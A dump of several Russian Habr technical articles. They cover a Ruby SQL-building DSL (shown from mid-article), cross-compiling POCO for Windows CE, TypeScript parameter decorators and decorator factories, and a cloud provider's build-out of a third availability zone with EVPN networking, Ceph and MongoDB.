from :posts, :users
select posts.*
where (posts.author_id == users.id) & (users.name == 'Vlad Semenov')
end
```
Получим:
`SELECT posts.*
FROM posts, users
WHERE (posts.author_id = users.id) AND (users.name = 'Vlad Semenov')`
Если кто не понял — мы пишем SQL-запросы на чистом Руби. Теперь попробуем что-нибудь посложнее.
```
min_rating = 5
sql = Boroda.build do
from :posts => :p
left join :comments => :c
on c.post_id == p.id
select p.id, p.title, p.content, c.id.count => :comment_count
group by p.id
where (p.title.like '%programming%') | # Выбираем все посты, содержащие в заголовке 'programming'
(p.rating > min_rating) # Или с рейтингом больше 5-ти
order by p.created_at.desc
limit 10
offset 20
end
```
Получим:
```
SELECT p.id, p.title, p.content, COUNT(c.id) AS comment_count
FROM posts AS p
LEFT JOIN comments AS c
ON c.post_id = p.id
WHERE (p.title LIKE '%programming%') OR (p.rating > 5)
GROUP BY p.id
ORDER BY p.created_at DESC
LIMIT 10
OFFSET 20
```
Теперь о том, как писать запросы при помощи Boroda. Из-за некоторых технических затруднений пришлось поменять порядок SQL-операторов. Сначало обязательно должен идти from. В нем имя таблицы указывается как символ (Symbol). Можно задавать алиасы для таблиц, если задавать их список в виде хеша, как сделано во втором примере. Далее должны следовать join'ы. Будет проще, записать возможный порядок вызова методов в следующем виде:
```
from tables
[[left|right] [outer|inner] join tables
on condition | using columns
[..]]
[select columns]
[ where condition
| group by columns
| having condition
| order by columns
| limit number
| offset number ]*
```
Другими словами все методы из последней группы вы можете вызывать в произвольном порядке. Boroda сама позаботиться о том чтобы получить правильный SQL-запрос.
Теперь подробнее про condition который используется в where и having. Использование следующих операторов имеет точно такой же смысл, какой они имеют в SQL:
+, -, \*, /, >, <, >=, <=.
Из-за некоторых ограничений Руби на перегрузку операторов, пришлось немного поизвращаться:
```
a == b # => a = b
a <=> b # => a <> b
(a) & (b) # => (a) AND (b)
(a) | (b) # => (a) OR (b)
```
Очень важно: при использовании последних двух операторов операнды нужно ОБЯЗАТЕЛЬНО заключать в скобки, иначе в SQL-запросе может получится совсем не то, что вы ожидаете. Это вызвано тем, что данные два оператора имеют высокий приоритет в Руби.
На данный момент Boroda — это маленький модуль, генерящий SQL для SELECT-запросов. Код модуля [лежит на GitHub'е](http://github.com/semenov/boroda/tree/master). Если у кого-то возникнет желание, то Boroda может стать gem'ом.
Заранее предупреждаю, что пока не рекомендую использовать этот код в production'e, т. к. он еще не достаточно протестирован и может быть неустойчив к SQL-инъекциям.
Очень интересно услышать ваше мнение про этот DSL и получить полезные советы по улучшению :)
|
https://habr.com/ru/post/57098/
| null |
ru
| null |
# Cross-compile POCO из Windows для WinCE
POCO — легковесный, мультиплатформенный open-source набор библиотек и классов С++, облегчающих написание мультиплатформенного ПО.
Выпускается под Boost Software License.
Дополнительные сведения о POCO:
[pocoproject.org/features.html](http://pocoproject.org/features.html)
[ru.wikipedia.org/wiki/POCO](http://ru.wikipedia.org/wiki/POCO)
Прекрасно организованная документация по структуре классов доступна в html-онлайн, html-оффлайн.
Документация по основным возможностям с примерами использования — в pdf: [pocoproject.org/documentation/index.html](http://pocoproject.org/documentation/index.html)
POCO имеет богатейший функционал — очень многое — всё-всё, что нужно для счастливой жизни C++ программиста! Работает инструментарий отлично, имеет продуманный API.
POCO собирается для большого числа ОС, в т.ч. Desktop Windows, Windows CE, Linux.
По своему опыту замечу, что POCO для этих ОС собирается без проблем.
Методику кроссплатформенной сборки из Windows для этих ОС постараюсь вам, уважаемые с++ разработчики, донести в своих трёх статьях «Cross-compile POCO из Windows».
Статья «Cross-compile POCO из Windows для Linux» [habrahabr.ru/post/222661](http://habrahabr.ru/post/222661/)
#### Cross-compile POCO из Windows для WinCE custom SDK
Метод, освещённый здесь, разрабатывался:
— для Windows CE SDK терминала XAC (ARM9, Windows CE 6.0)
— хост-машина Windows 7 64
— сборка POCO из окружения Visual Studio 2008
— POCO Basic Edition 1.4.6p4
###### Подготовка IDE и SDK
Небольшой ликбез:
-по информации, которой я располагаю, для разработки и отладки под Windows CE используется VS2005 или VS2008
-отладка программы с устройствами Windows CE выполняется при помощи специального инструмента ActiveSync «Центр устройств Windows Mobile»
Подробнее есть в вики: [ru.wikipedia.org/wiki/ActiveSync](http://ru.wikipedia.org/wiki/ActiveSync).Работать с ActiveSync просто — подключил устройтсво Windows Mobile по USB к хост-машине, ActiveSync находит устройство и вперёд. Теперь можно открыть его файловую систему в проводнике или отлаживать свою программу из Visual Studio 2008.
1. Скачать и последовательно установить следующие программы:
Microsoft Visual Studio 2008 Professional «Visual Studio 2008 Professional.zip» [rutracker.org](http://rutracker.org)
Microsoft Visual Studio 2008 sp1 «VS90sp1-KB945140-ENU.exe» [www.microsoft.com/en-us/download/details.aspx?id=10986](http://www.microsoft.com/en-us/download/details.aspx?id=10986)
Windows Mobile 6 SDK «Windows Mobile 6 Professional SDK Refresh.msi» [www.microsoft.com/en-us/download/details.aspx?id=6135](http://www.microsoft.com/en-us/download/details.aspx?id=6135)
Windows Mobile 6.1 SDK «Windows Mobile 6.1 Emulator Images» [www.microsoft.com/en-us/download/details.aspx?id=16182](http://www.microsoft.com/en-us/download/details.aspx?id=16182)
2. Скачать и установить Custom SDK для вашего устройства.
У меня, например: «SAIO\_CE60\_SDK\_R16.msi» я скачал её у производителя аппаратуры.
НО! Если специальное SDK найти не удаётся, можно запускать программы, собранные под стандартные Windows Mobile SDK, скачанные у Microsoft.
Стандартное SDK должно быть такой же версии Windows CE как и ваше устройство.
3. Проверить обнаружение устройства.
Подключим устройство по USB к нашему компьютеру, когда устройство обнаружится на USB, ActiveSync должен автозапуститься. В Windows 7 в категории «Компьютер» должна появится подкатегория «Портативные устройства». Через неё можно просмотреть файловую систему устройства WindowsCE.
4. Проверить запуск программ и отладку на устройстве.
Наше устройство должно быть подключено по пункту 3. Открываем VS2008 и мастером создаём проект «VisualC++»->«Win32 Smart Device Project».
Компилируем и запускаем его по нажатию клавиши F5. Наше тестовое приложение Win32 должно успешно запуститься на устройстве.
###### Подготовка пакетного файла окружения SDK нашего устройства
Сборка POCO будет производиться из консоли. Перед сборкой требуется настроить переменные окружения на окружение SDK нашего устройства.
Пакетный файл можно написать вручную, по образцу, либо сформировать автоматически.
**Образец**`@echo off`
`echo Environment Selection:SAIO_CE60_SDK_R16 (ARMV4I)`
`set PATH=C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\ce\bin\x86_arm;C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\bin;$(WindowsSdkDir)\bin;C:\Program Files (x86)\Microsoft Visual Studio 9.0\Common7\Tools;C:\Program Files (x86)\Microsoft Visual Studio 9.0\Common7\IDE;C:\Program Files (x86)\Microsoft Visual Studio 9.0\Common\Tools;C:\Program Files (x86)\Microsoft Visual Studio 9.0\Common\IDE;C:\Program Files (x86)\Microsoft Visual Studio 9.0\;$(FrameworkSDKDir)Bin;%PATH%`
`set INCLUDE=C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\ce\include;C:\SAIO_CE60_SDK_R16\include\ARMV4I;C:\SAIO_CE60_SDK_R16\include;C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\ce\atlmfc\include;C:\Program Files (x86)\Microsoft Visual Studio 9.0\SmartDevices\SDK\SQL Server\Mobile\v3.0`
`set LIB=C:\SAIO_CE60_SDK_R16\lib\ARMV4I;C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\ce\atlmfc\lib\ARMV4I;C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\ce\lib\ARMV4I`
**Автоматические создание**Удобнее использовать утилиту `checksdk.exe` из набора утилит инструментария Qt. Эта утилита используется для вывода имён установленных в системе Sdk и формирования скрипта установки переменных окружения под выбранный SDK. Как раз то, что нужно.
— Качаем архив Qt для WindowsCE [qt-project.org/downloads](http://qt-project.org/downloads), на момент написания статьи это версия «Qt libraries 4.8.6 for Windows CE (269 MB) (Info)»
-распаковываем его куда-нибудь, и в директории /bin находим утилиту checksdk.exe
-открываем командную оболочку VS2008 «Visual Studio 2008 x64 Cross Tools Command Prompt»
-устанавливаем текущим каталог с утилитой checksdk.exe
-запускаем `checksdk.exe -list` и видим список установленных SDK:
-формируем пакетный файл окружения для выбранного SDK:
`checksdk.exe -sdk "SAIO_CE60_SDK_R16 (ARMV4I)" -script wm6.bat`
###### Подготовка POCO
1. Подготовить директорию с POCO:
-скачать по адресу pocoproject.org/download/index.html архив POCO последней стабильной версии Basic Edition. По кнопке «Sources for Linux, OS X, etc.». На момент написания статьи архив — `poco-1.4.6p4.tar.gz`
-разархивировать в отдельную директорию. К примеру, с помощью WinRAR и в директорию `C:/poco/poco-1.4.6p4-wince-SAIO_CE60_SDK_R16` Я через тире указываю имя SDK для отличия версий POCO.
2. Скопировать пакетный файл окружения SDK в корень директории POCO.
3. С помощью программы поиска и замены текста, в директории POCO заменить:
-все вхождения строки `Digi JumpStart (ARMV4I)` на имя вашего Custom SDK, пример: `SAIO_CE60_SDK_R16 (ARMV4I)`
-все вхождения строки: ``на строку`
Для поиска и замены текста автор использовал удобную программу qfreplace `i-vd.org.ru/soft/qfreplace.shtml`
4. Установка для сборки статических и динамических библиотек.
Она зависит от аргументов buildwin.
В корневой директории POCO имеется пакетный файл `build_CE_vs90.cmd`, который запускает buildwin с аргументами для сборки только статических библиотек.
Для сборки и статических и динамических библиотек, создаёте новый пакетный файл,
например с именем `build_CE_vs90-all.cmd` следующего содержимого:
`@echo off`
`buildwin 90 build all both WinCE samples`
###### Сборка POCO
1. Открыть консоль из состава VS2008. У меня она имеет имя `Visual Studio 2008 x64 Win64 Command Prompt`
все дальнейшие шаги будут выполняться из этой консоли
2. Установить директорию с POCO текущей:
`cd C:/poco/poco-1.4.6p4-wince-SAIO_CE60_SDK_R16`
3. Установить окружение SDK. Запустить пакетный файл:
`wm6.bat`
4. Запустить сборку POCO. Запустить пакетный файл:
`build_CE_vs90-all.cmd`
В результате сборки создаются директории с результатами сборки:
`\bin\имя_нашего_sdk` появятся файлы динамических библиотек
`\lib\имя_нашего_sdk` появятся файлы статических библиотек
Мои директории:
\bin\SAIO_CE60_SDK_R16 (ARMV4I)
\lib\SAIO_CE60_SDK_R16 (ARMV4I)
###### Источники информации
"POCO C++ Libraries GNU Make Build System" [pocoproject.org/docs/99150-GMakeBuildNotes.html](http://pocoproject.org/docs/99150-GMakeBuildNotes.html)
"Building On Windows" [pocoproject.org/docs/00200-GettingStarted.html](http://pocoproject.org/docs/00200-GettingStarted.html)
***
Готовые инструментарии с++ делают наш труд более приятным и более плодотворным. Успехов, уважаемые коллеги!
Владислав Хохряков.`
|
https://habr.com/ru/post/223157/
| null |
ru
| null |
# Декораторы и рефлексия в TypeScript: от новичка до эксперта (ч.3)
Эта статья — третья часть серии:
* [Часть 1: Декораторы методов](https://habrahabr.ru/company/ivi/blog/275003)
* [Часть 2: Декораторы свойств и классов](https://habrahabr.ru/company/ivi/blog/277321/)
* **Часть 3: Декораторы параметров и фабрика декораторов**
* Часть 4: Сериализация типов и metadata reflection API
В прошлый раз мы узнали, что такое декораторы и как они реализованы в TypeScript. Мы знаем, как работать с декораторами классов, свойств и методов.
В этой статье мы расскажем про:
* Последний оставшийся тип декораторов — **декоратор параметра**
* Реализацию **фабрики декораторов**
* Реализацию **конфигурируемых декораторов**
Мы будем использовать нижеследующий класс для демонстрации данных концепций:
```
class Person {
public name: string;
public surname: string;
constructor(name : string, surname : string) {
this.name = name;
this.surname = surname;
}
public saySomething(something : string) : string {
return this.name + " " + this.surname + " says: " + something;
}
}
```
Декораторы параметров
---------------------
Как мы уже знаем, сигнатура декоратора параметра выглядит следующим образом:
```
declare type ParameterDecorator = (target: Object, propertyKey: string | symbol, parameterIndex: number) => void;
```
Использование декоратора под названием `logParameter` будет выглядеть так:
```
class Person {
public name: string;
public surname: string;
constructor(name : string, surname : string) {
this.name = name;
this.surname = surname;
}
public saySomething(@logParameter something : string) : string {
return this.name + " " + this.surname + " says: " + something;
}
}
```
При компиляции в JavaScript здесь вызывается метод `__decorate` (о нем мы говорили в [первой части](https://habrahabr.ru/company/ivi/blog/275003)).
```
Object.defineProperty(Person.prototype, "saySomething",
__decorate([
__param(0, logParameter)
], Person.prototype, "saySomething", Object.getOwnPropertyDescriptor(Person.prototype, "saySomething")));
return Person;
```
По аналогии с предыдущими типами декораторов, мы можем предположить, что раз вызывается метод `Object.defineProperty`, метод `saySomething` будет заменен результатом вызова функции `__decorate` (как в декораторе метода). Это предположение неверно.
Если внимательно посмотреть на код выше, можно заметить, что там есть новая функция `__param`. Она была сгенерирована компилятором TypeScript и выглядит следующим образом:
```
var __param = this.__param || function (index, decorator) {
// return a decorator function (wrapper)
return function (target, key) {
// apply decorator (return is ignored)
decorator(target, key, index);
}
};
```
Функция `__param` возвращает декоратор, который оборачивает декоратор, переданный на вход (с именем `decorator`).
Можно заметить, что когда декоратор параметра вызывается, его значение игнорируется. Это значит, что при вызове функции `__decorate`, результат ее выполнения не переопределит метод `saySomething`.
Поэтому **декораторы параметров ничего не возвращают**.
Оборачивание декоратора в `__param` используется, чтобы сохранить индекс (позицию декорируемого параметра в списке аргументов) в замыкании.
```
class foo {
// foo index === 0
public foo(@logParameter foo: string) : string {
return "bar";
}
// bar index === 1
public foobar(foo: string, @logParameter bar: string) : string {
return "foobar";
}
}
```
Теперь мы знаем, что декоратор параметра принимает 3 аргумента:
* **Прототип** декорируемого класса
* **Имя** метода, содержащего декорируемый параметр
* **Индекс** декорируемого параметра
Давайте реализуем `logProperty`
```
function logParameter(target: any, key : string, index : number) {
var metadataKey = `log_${key}_parameters`;
if (Array.isArray(target[metadataKey])) {
target[metadataKey].push(index);
}
else {
target[metadataKey] = [index];
}
}
```
Декоратор параметра, описанный выше, добавляет новое свойство (`metadataKey`) в прототип класса. Это свойство — массив, содержащий индексы декорируемых параметров. Мы можем считать это свойство **метаданными**.
Предполагается, что декоратор параметра не используется для модификации поведения конструктора, метода или свойства. **Декораторы параметров должны использоваться только для создания различных метаданных**.
Как только метаданные созданы, мы можем использовать другой декоратор для их чтения. К примеру, ниже приведена модифицированная версия декоратора метода из [второй части статьи](https://habrahabr.ru/company/ivi/blog/277321/).
Исходная версия выводила в консоль название метода и все ее аргументы при вызове. Новая версия **читает метаданные**, и на их основе выводит только те аргументы, которые помечены соответствующим декоратором параметра.
```
class Person {
public name: string;
public surname: string;
constructor(name : string, surname : string) {
this.name = name;
this.surname = surname;
}
@logMethod
public saySomething(@logParameter something : string) : string {
return this.name + " " + this.surname + " says: " + something;
}
}
function logMethod(target: Function, key: string, descriptor: any) {
var originalMethod = descriptor.value;
descriptor.value = function (...args: any[]) {
var metadataKey = `__log_${key}_parameters`;
var indices = target[metadataKey];
if (Array.isArray(indices)) {
for (var i = 0; i < args.length; i++) {
if (indices.indexOf(i) !== -1) {
var arg = args[i];
var argStr = JSON.stringify(arg) || arg.toString();
console.log(`${key} arg[${i}]: ${argStr}`);
}
}
var result = originalMethod.apply(this, args);
return result;
}
else {
var a = args.map(a => (JSON.stringify(a) || a.toString())).join();
var result = originalMethod.apply(this, args);
var r = JSON.stringify(result);
console.log(`Call: ${key}(${a}) => ${r}`);
return result;
}
}
return descriptor;
}
```
В следующей части мы узнаем лучший способ работы с метаданными: **Metadata Reflection API**. Вот небольшой пример того, что мы изучим:
```
function logParameter(target: any, key: string, index: number) {
var indices = Reflect.getMetadata(`log_${key}_parameters`, target, key) || [];
indices.push(index);
Reflect.defineMetadata(`log_${key}_parameters`, indices, target, key);
}
```
Фабрика декораторов
-------------------
Официальный proposal декораторов в TypeScript дает следующее определение фабрики декораторов:
> Фабрика декораторов — это функция, которая может принимать любое количество аргументов и возвращает декоратор одного из типов.
Мы уже научились реализовывать и использовать все типы декораторов (класса, метода, свойства и параметра), но кое-что мы можем улучшить. Допустим, у нас есть такой фрагмент кода:
```
@logClass
class Person {
@logProperty
public name: string;
public surname: string;
constructor(name : string, surname : string) {
this.name = name;
this.surname = surname;
}
@logMethod
public saySomething(@logParameter something : string) : string {
return this.name + " " + this.surname + " says: " + something;
}
}
```
Он работает, как полагается, но было бы лучше, если бы можно было **везде использовать один и тот же декоратор, не заботясь о его типе**, как в этом примере:
```
@log
class Person {
@log
public name: string;
public surname: string;
constructor(name : string, surname : string) {
this.name = name;
this.surname = surname;
}
@log
public saySomething(@log something : string) : string {
return this.name + " " + this.surname + " says: " + something;
}
}
```
Добиться этого мы можем, обернув декораторы в фабрику. Фабрика может определить тип необходимого декоратора по аргументам, переданным в нее:
```
function log(...args : any[]) {
switch(args.length) {
case 1:
return logClass.apply(this, args);
case 2:
return logProperty.apply(this, args);
case 3:
if(typeof args[2] === "number") {
return logParameter.apply(this, args);
}
return logMethod.apply(this, args);
default:
throw new Error("Decorators are not valid here!");
}
}
```
Конфигурируемые декораторы
--------------------------
Последний момент, который бы хотелось обсудить в этой статье, это то, **как мы можем передавать аргументы в декоратор при его использовании**.
```
@logClassWithArgs({ when : { name : "remo"} })
class Person {
public name: string;
// ...
}
```
Мы можем воспользоваться фабрикой декораторов для создания конфигурируемых декораторов:
```
function logClassWithArgs(filter: Object) {
return (target: Object) => {
// реализация декоратора класса будет тут, декоратор
// будет иметь доступ к параметрам декоратора (filter),
// потому что они хранятся в замыкании
}
}
```
Ту же идею мы можем применить для остальных типов декораторов.
Заключение
----------
Теперь у нас есть глубокое понимание всех четырех существующих видов декораторов, того как создавать фабрики декораторов и как их параметризовать.
В следующей статье мы узнаем, как использовать **Metadata Reflection API**.
|
https://habr.com/ru/post/303516/
| null |
ru
| null |
# Как мы подключили третью зону доступности в облаке и наконец-то стали деплоить сервисы в виртуалках
Третью зону доступности в облаке мы развёртывали изначально для решения собственных задач — чтобы обеспечить «честный» кворум для наших внутренних распределённых сервисов. У нас было три собственных дата-центра, но лишь в двух из них были выделены зоны доступности для облака, при этом одна была основной, а вторая от неё зависела. Потенциально это грозило тем, что при отказе первой с проблемами столкнулись бы обе. Сейчас же облако может пережить отказ любой зоны доступности: ресурсы в других зонах останутся доступны и сохранится контроль над ними.
На новой площадке не было продуктивной нагрузки, развёрнутых систем заказчиков и всего прочего, для чего требовалось бы продумывать схемы перехода на новые решения таким образом, чтобы это не сказалось на работе заказчиков. Поэтому при развёртывании третьей площадки в кои-то веки мы были не скованы легаси и могли использовать новые технологии, которые только собирались внедрить в двух существующих зонах доступности.
Однако, от первых расчётов до развёртывания прошло почти три года. Технически всё можно было бы сделать проще и быстрее, но приходилось согласовывать свои планы с реальными возможностями и потребностями. Итак, обо всём по порядку.
### Растроение лучше раздвоения
Три зоны доступности (Availability Zone, AZ) — минимальный must have для любого облачного провайдера. Механизмы отказоустойчивости многих современных систем опираются на такие концепции как выбор лидера, голосование и кворум. Суть механизмов голосования в том, что для корректной работы кластера большинство его участников должно быть онлайн. Иными словами, чтобы система сохраняла свою работоспособность, нужно поддерживать связность между большинством узлов в кластере (проблема «раздвоения сознания» — split brain).
Любые кластеры рекомендуется поэтому строить таким образом, чтобы при потере связности из-за отказа сетевой карты/кабеля/драйвера на вычислительном узле кластера или по любой другой причине какая-либо из изолированных частей кластера содержала больше половины от общего числа узлов — тогда кластер продолжит функционировать и согласованность данных не будет нарушена. В случае двух дата-центров кластер приходится разбивать на две неравные части, чтобы большинство находилось в одной из них, либо размещать часть узлов на стороне — в колокейншн или, чего бы нам не хотелось, у другого облачного провайдера.
При размещении кластера в двух ЦОД при недоступности дата-центра, где находится большинство, он перестанет функционировать. Хоть дата-центры КРОК и работают бесперебойно с момента запуска, однако связность между ними может нарушиться по независящим от нас причинам (например, авария на магистрали). Этот риск приходится учитывать, тем более что в инфраструктуре облака используется целый ряд решений, базирующихся на кворумах, в частности Dell EMC PowerFlex, OVN, MongoDB, Ceph (для объектного хранилища S3).
Проблема обеспечения кворума была особенно остра в случае двух последних сервисов, так как их кластеры распределены по зонам доступности облака, чтобы обеспечить избыточность и доступность данных во всех AZ, а также функционирование облака при отказе одной из них. Так, отказ серверов с репликами MongoDB на площадке ru-msk-vol51, где было расположено 3 из 5 узлов, грозил потерей возможности управления облаком клиентами.
При наличии трёх зон доступности с независимыми каналами связи недоступность узлов на одном из ЦОД не сказалась бы на функционировании кластера в двух других, так как большинство узлов сохраняли бы связность. Третья площадка у нас уже была, поэтому первой задачей стало обеспечение межсоединения с ней (Data Center Interconnect, DCI).
### «Кровавый энтерпрайз» решает
Третья площадка хоть и находится в относительной близости от первой, но имеет полностью независимую инженерную инфраструктуру — ИБП, ДГУ, каналы связи и т.д. Она предоставляла традиционные услуги ЦОД такие как колокейшн, но никакой инфраструктуры для развёртывания облака там не было, поэтому её пришлось делать с нуля. И прежде всего мы занялись сетью.
Для соединения двух существующих дата-центров использовалось оборудование Extreme Networks, с помощью которого предоставлялись сервисы L2 VPN, L3 VPN, интернет и т.д. Все эти сервисы планировалось предоставлять и в третьем дата-центре, при этом сетевая фабрика должна была обеспечить отказоустойчивую связь между площадками. И мы начали выбирать, с каким вендором и на каком решении всё это делать. Подходящих вариантов оказалось не так и много.
Самым простым решением с точки зрения трудозатрат было бы подключить к существующей фабрике оборудование Extreme и объединить всё с помощью VPLS. Однако, у установленного оборудования заканчивался срок службы (EOL), а работы по замене были плюс-минус сопоставимы с переходом на другую фабрику. Кроме того, подключение третьего ЦОД на уже используемом оборудовании несло потенциальный риск отключений для заказчиков, поэтому мы расширили наш круг поиска решений.
Новое ядро позволяло бы развёртывать сети параллельно существующему ядру, а последующее переключение сетей и сервисов выполнять по мере необходимости, каждое отдельно. В качестве решений для организации сетей ЦОД и управления ими мы рассматривали RunSDN, Brain4Net (B4N) и комбинацию EVPN с VХLAN в качестве протокола инкапсуляции.
RunSDN на тот момент выглядел ещё сырым решением и не поддерживал всю необходимую нам функциональность. У B4N было уже достаточно зрелое решение, но, как и в случае RunSDN, в рассматриваемом нами варианте установки оно предполагало единый слой управления (Control Plane) для всех ЦОД. Мы опасались создавать такой большой Failure Domain, так как любая конфигурационная ошибка или ошибка в коде SDN-решения могла негативно сказаться сразу на всех ЦОД.
[Ethernet VPN (EVPN)](https://habr.com/ru/post/316792/) представляет собой расширение BGP и обеспечивает виртуальное соединение между различными доменами L2/L3 поверх сетей IP или MPLS. Несмотря на свою модность, это была проработанная и понятная технология. И в отличие от централизованного подхода к управлению коммутаторами, Control Plane у неё распределенный, так что ошибки на одном коммутаторе оказывают меньшее влияние на инфраструктуру.
Кроме того, EVPN позволял эффективно решить следующую проблему. Если для соединения двух дата-центров в базовом варианте достаточно кинуть отказоустойчивый линк между ними, то для трех дата-центров все сложнее – получившееся "кольцо" надо как-то по-умному рвать или обрабатывать, чтобы не возникало широковещательных штормов. В EVPN MP-BGP рассылает и принимает анонсы L2-маршрутов, из которых автоматически формируются flood-list’ы, и широковещательный трафик в инкапсулированном виде отправляется только тем пирам, которые должны его получить. Получив широковещательный кадр из EVPN-сегмента, коммутатор пересылает его далее в подключенные к нему сети, но не обратно в EVPN, что и предотвращает штормы.
Изначально для реализации EVPN мы рассматривали Mellanox (теперь входит в NVIDIA) c Cumulus Linux, но субъективные предпочтения сетевиков предопределили выбор в пользу «кровавого энтерпрайза» — мы остановились на Cisco. Закупили оборудование и параллельно существующей фабрике стали возводить новую, соединяющую все три дата-центра.
### Засвеченная оптика
Все три имеющихся дата-центра уже были связаны оптикой, так что ничего дополнительно прокладывать не пришлось. Волокна идут разными путями, по разным улицам Москвы. Если пресловутый экскаватор до них докопается, то останется другой маршрут. Если же связность между какими-либо двумя дата-центрами будет нарушена, то они всё равно смогут обмениваться трафиком через третий ЦОД. Главное, внутри дата-центра корректно расключить все волокна между коммутаторами, чтобы все подключения были крест-накрест. Резервирование таким образом решено как на уровне физики, так и отдельных железок — дублирующее оборудование размещено в разных стойках в противоположных концах ЦОД.
Общая схема резервируемого межсоединения дата-центровВ качестве волоконно-оптических трансиверов выбрали SFP от FiberTrade. При их использовании необходимо учитывать один нюанс — под разное железо в них устанавливаются разные прошивки в EPROM. И не все прошивки совместимы со всеми коммутаторами — какие-то заводятся, какие-то нет, какие-то работают кое-как. Мы эти проблемы отловили ещё на этапе тестирования у себя в лабе и подобрали правильную конфигурацию.
Когда пришло оборудование, его смонтировали в одной стойке и начали тестировать. К тому моменту, когда оптическая сеть была готова, всё было преднастроено — оборудование оставалось только поставить и правильно скоммутировать. Правда, тесты на этом не закончились — проводили нагрузочное тестирование, гоняли трафик, забивали линки, настраивали счётчики ошибок и мониторинг. Отрубали питание и выдёргивали линки, чтобы посмотреть как отрабатывает аварийное переключение (failover) и как всё потом восстанавливается, когда мы возвращаем питание и соединение.
И VLAN за VLAN стали переключать трафик на новый интерконнект.
### Назад к Ethernet
Третья площадка стала первой, где мы вернулись к использованию Ethernet вместо InfiniBand в качестве высокоскоростной сети. В своё время мы выбрали InfiniBand, поскольку на тот момент он обеспечивал [в 5 раз большие скорости при сравнимых затратах](https://habr.com/ru/company/croc/blog/232509/). Причины возвращения к Ethernet и перевод на него продуктовой среды заслуживают отдельной статьи (как-нибудь об этом подробнее напишем). Здесь же хотелось рассказать, какие сложности возникли из-за того, что на двух других площадках такие сервисы как Ceph были развёрнуты на InfiniBand и для них нужно было обеспечить связность с новой площадкой на Ethernet.
После того, как связь с новым ЦОД была налажена, мы начали монтировать оборудование под третью копию нашего объектного хранилища S3. Ceph в двух зонах доступности у нас был на InfiniBand, а связь между IP-фабриками в разных дата-центрах осуществлялась с помощью промежуточной сети Ethernet, для соединения же сетей InfiniBand и Ethernet использовались специальные коммутаторы — [шлюзы VPI](https://www.mellanox.com/sites/default/files/doc-2020/cs-vpi-gw.pdf). Поскольку на третьей площадке сразу предусматривался Ethernet, шлюзы-конверторы на новой AZ устанавливать не требовалось. Но всё равно приходилось учитывать ограничения, налагаемые шлюзами на других площадках, так как хосты Ceph связывала единая сеть. Максимальный размер IP-пакета, который они поддерживают — 4092 байта. Из-за того, что этот размер надо было соблюдать на всём пути, пришлось повозиться с настройкой сети, чтобы добиться корректной работы и нормальной производительности через VPI.
Объединение трёх площадок в единую сетьОдна из сложностей, которую накладывает InfiniBand — отсутствие маршрутизации IPoIB-трафика. Точнее, мы тогда так думали, на самом деле в каком-то виде маршрутизация есть. В двух зонах доступности была единая сеть для Ceph, поэтому нам этот единый сегмент пришлось прокидывать в третью AZ. В новой фабрике на базе Mellanox c Cumulux Linux мы также использовали EVPN, и здесь он нам пригодился — мы создали сегмент VXLAN, который соединили с уже существующей сетью и "прокинули" его на серверы S3 как обычный VLAN.
Только потом мы узнали, что шлюзы VPI можно сконфигурировать так, чтобы они маршрутизируемый трафик тоже пропускали через себя. Если бы узнали о такой возможности раньше, то миграция была бы чуть проще. Для третьей AZ выделили бы отдельный L3-сегмент сети S3 и смаршрутизировали бы его из двух существующих AZ – L2 тянуть не пришлось бы. В конечном итоге мы всё равно перешли полностью на схему третьего уровня: в каждой стойке своя сеть L3.
При тестировании связности между серверами с Ceph мы столкнулись с проблемой высокого Soft IRQ. Всю жизнь на InfiniBand мы использовали набор драйверов Mellanox OFED, что нас в некоторой степени напрягало — приходилось их постоянно пересобирать под разные ядра и тестировать. Мы тихо надеялись от них отказаться, перейдя на Ethernet, и начать использовать inbox-драйверы (драйверы из поставки ядра Linux).
Однако, как оказалось, адаптивные прерывания не работают на inbox-драйвере нашей тогдашней версии ядра Linux. Нам не очень хотелось тюнить параметры прерываний в карточке, поэтому мы поставили Mellanox OFED и проблема решилась сама. В итоге убедили себя, что с отдельным набором драйверов хоть и больше возни, но при этом мы получаем главное — гибкость в выборе версии драйвера и поддержку от вендора, с которым есть хорошо налаженный контакт.
### Перенос Ceph и баз данных Mongo
С настройкой сети для Ceph пришлось повозиться, а вот с репликацией данных особых сложностей не было. Конечно, это не по нажатию кнопки делалось. Мы добавили хосты в Ceph нашими штатными утилитами. В Ceph появился новый `datacenter` (абстракция Ceph), который поначалу находился вне текущего `region` и на него не распространялась политика репликации.
Когда все средства мониторинга были настроены, сети протестированы и все было готово к запуску репликации, мы увеличили число реплик каждого пула. В результате 33,333% данных Ceph посчитал находящимися в состоянии degraded, так как три копии нельзя разложить по двум дата-центрам. Затем мы переместили новый datacenter в region, где были текущие два, и эти 33,333% данных начали реплицироваться в новый дата-центр. В общем ничего особенного.
После того как данные были реплицированы, чуть позже перераспределили и мониторы. Их разделили по схеме 2:2:1, чтобы было нечётное количество и чтобы в одной зоне доступности не находилось большинство мониторов. Раньше мониторы были распределены в пропорции 3 к 2, соответственно, в одной зоне доступности находилось больше половины всех. Теперь же любая AZ может быть выключена и всё продолжит работать.
После растягивания объектного хранилища стали потихоньку перетаскивать внутренние базы данных Mongo. Изначально мы планировали перенести их раньше Ceph, но вопрос с третьей репликой стоял более остро. С базами данных всё прошло ещё легче: их суперпросто переносить — только добавляй новые инстансы в существующие кластеры.
У нас есть два типа набора реплик Mongo — условно, зональные и региональные. В зональной реплике хранятся документы ресурсов конкретной зоны доступности: инстансов, дисков, метрик, интерфейсов и всего другого прочего. А в региональной храним данные, которые не привязаны к конкретной AZ — о пользователях, проектах, тарифах и т.п.
В случае зонального набора реплик большинство инстансов кластера располагается в соответствующей зоне доступности и по одному инстансу replica set в каждой другой AZ, однако эти две удалённые реплики не могут стать primary. Они нужны в качестве резервной копии, а также используются для чтения в других AZ. В случае регионального набора реплик в каждой зоне доступности развёрнуто по два инстанса, они все равнозначны и роль primary может взять любой инстанс.
Кроме того, мы смогли наконец-то сделать нормальный отказоустойчивый Zabbix-кластер для мониторинга с распределением баз данных по трём площадкам. В качестве баз данных мы используем — PostgreSQL с плагином TimescaleDB, для их кластеризации patroni в связке с etcd. Zabbix настроен таким образом, что он сам находит все новое оборудование, которое появляется в инфраструктуре, — проверяет, что это за сервер, коммутатор и т.п., какие у него роли и автоматически включает в мониторинг.
